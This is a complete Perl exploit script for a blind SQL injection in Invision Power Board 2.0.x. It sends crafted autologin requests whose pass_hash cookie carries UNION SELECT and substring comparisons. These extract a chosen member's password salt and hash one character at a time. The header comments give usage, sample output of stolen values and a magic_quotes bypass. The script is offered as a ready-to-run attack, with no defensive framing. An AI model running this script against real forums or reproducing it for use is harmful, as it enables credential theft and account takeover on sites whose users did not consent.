#!/usr/bin/perl    ## Invision Power Board SQL injection exploit by Coyl. CiaNeeD team.  ## for stealing converge_pass_salt value from ipb database  ## on some ipb forums it steals the legacy_password which is the first md5  ## hash of the target password.  ## vulnerable forum versions : 2.* (<2.0.4)  ## tested on version 2.0.2   ## * work on mysql 4.0, 4.1 versions  ## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)  ## coded by Coyl  ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  ## screen:  ## ~~~~~~~  ##  /ipb.pl 127.0.0.1 /fo/ 1  ## [~]         SERVER : 127.0.0.1  ## [~]           PATH : /fo/  ## [~]      MEMBER ID : 1  ## [~] VALUE TO STEAL :  ## [~] SEARCHING THE EASIEST WAY... [ FAILED ]  ## [~] SEARCHING THE SALT [\5][ DONE ]  ##  ##        SALT : UoU1o  ##  ## [~] SEARCHING THE PASS HASH [/32][ DONE ]  ##  ##        PASS HASH : 1ab2bc1f32f231f234313444233d  ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  ## Greets: 1dt.w0lf , RST/GHC , http://rst.void.ru , http://ghc.ru   ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~    use IO::Socket;    if (@ARGV < 3) { &usage; }    $enum=0;  $cookie = 1;  $server    = $ARGV[0];  $path      = $ARGV[1];  $member_id = $ARGV[2];  $prefix = ($ARGV[3])?($ARGV[3]):("ibf_");        $server =~ s!(http:\/\/)!!;    $request  = 'http://';  $request .= $server;  $request .= $path;    $s_num = 1;  $|++;  $n = 0;    print "[~]         SERVER : $server\r\n";  print "[~]           PATH : $path\r\n";  print "[~]      MEMBER ID : $member_id\r\n";  print "[~] VALUE TO STEAL : \r\n";  print "[~] SEARCHING THE EASIEST WAY... [|0]";    	($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;  $flag=0;  $field=1;  LOOP: while(1)  {  	$pass = ($field)?('converge_pass_hash'):('converge_pass_salt');     	if($field) { if(&found(96,123)==0) { &found(47,58)}}  	if(!$field&&$flag) { &found(33,126) }  	  	$char = $i;  	  	if ($char=="0")   		{   		if(length($allchar) > 0){   			print qq{[ DONE ]  };   			if (!$flag) { print "\r\nSIMPLE PASS HASH : "; print $allchar."\r\n";}  			else  			{  				print (($field)?("\r\n	PASS HASH : "):("\r\n	SALT : "));   				print $allchar."\r\n\r\n";  				$allchar='';  				$enum=0;  				$s_num=1;  				$field++;  				if (!($field==2)){print "[~] SEARCHING THE PASS HASH [|0]"; redo LOOP};  			}   		}   		else   		{  			if (!$flag)  				{   				print "$back FAILED ]\r\n";  				print "[~] SEARCHING THE SALT [|0]";  				$flag=1;  				$field=0;  				redo LOOP;  				}  			if ($flag)  				{  				print "$back FAILED ]\r\n";  				}   		}   		exit();   		}  	else   		{  																																																																																																																$allchar .= $char;  		$enum++;   		}  $s_num++;  }    sub found($$)   {   my $fmin = $_[0];   my $fmax = $_[1];   if (($fmax-$fmin)<5) { $i=&crack($fmin,$fmax); return $i; }     $r = int($fmax - ($fmax-$fmin)/2);   $check = " BETWEEN $r AND $fmax";   if ( &check($check) ) { &found($r,$fmax); }   else { &found($fmin,$r); }   }    sub crack($$)   {   my $cmin = $_[0];   my $cmax = $_[1];   $i = $cmin;   while ($i<$cmax)    {    $crcheck = "=$i";    if ( &check($crcheck) ) { return $i; }    $i++;    }   $i = 0;   return $i;   }    sub check($)   {   $n++;   status();   $ccheck = $_[0];   $non="1%2527+union+select+converge_id%2Cconverge_pass_salt%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0+from+".$prefix."members_converge+where+%28converge_id%3D";   $eas="1%2527+OR+%28id%3D";   $pass_hash1 = ($flag)?($non):($eas);   $pass_hash2 = "+AND+ascii%28substring%28";   $pass_hash3 = (($flag)?($pass):("legacy_password")).",".$s_num.",1))".$ccheck.") /*";   $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;   $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");     printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s\nConnection: close\n\n",   $path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3);        while(<$socket>)    {    if (/Set-Cookie: session_id=0;/) {     return 1; }    }        return 0;   }    sub status()  {    $status = $n % 5;  	if ($enum<10) {$back="\b\b\b";}  	else {$back="\b\b\b\b"};    if($status==0){ print "$back\\$enum]"; }    if($status==1){ print "$back-$enum]"; }    if($status==2){ print "$back/$enum]"; }    if($status==3){ print "$back|$enum]"; }  }    sub usage()   {   print q(   Invision Power Board v 2.0.0 - 2.0.4 SQL injection exploit modified   --------------------------------------------------------------------   USAGE:   ~~~~~~   r57ipb2.pl [server] [/folder/] [member_id] [prefix-optinal]      [server]   - host where IPB installed   [/folder/] - folder where IPB installed   [member_id]- user id for brute   [prefix]   - database prefix \(ibf_ by default\)       e.g. ipb.pl 127.0.0.1 / 1 ipb_   --------------------------------------------------------------------   coded by Coyl. CiaNeeD team.   --------------------------------------------------------------------   greets to 1dt.w0lf RST/GHC , http://rst.void.ru , http://ghc.ru   --------------------------------------------------------------------   );   exit();   }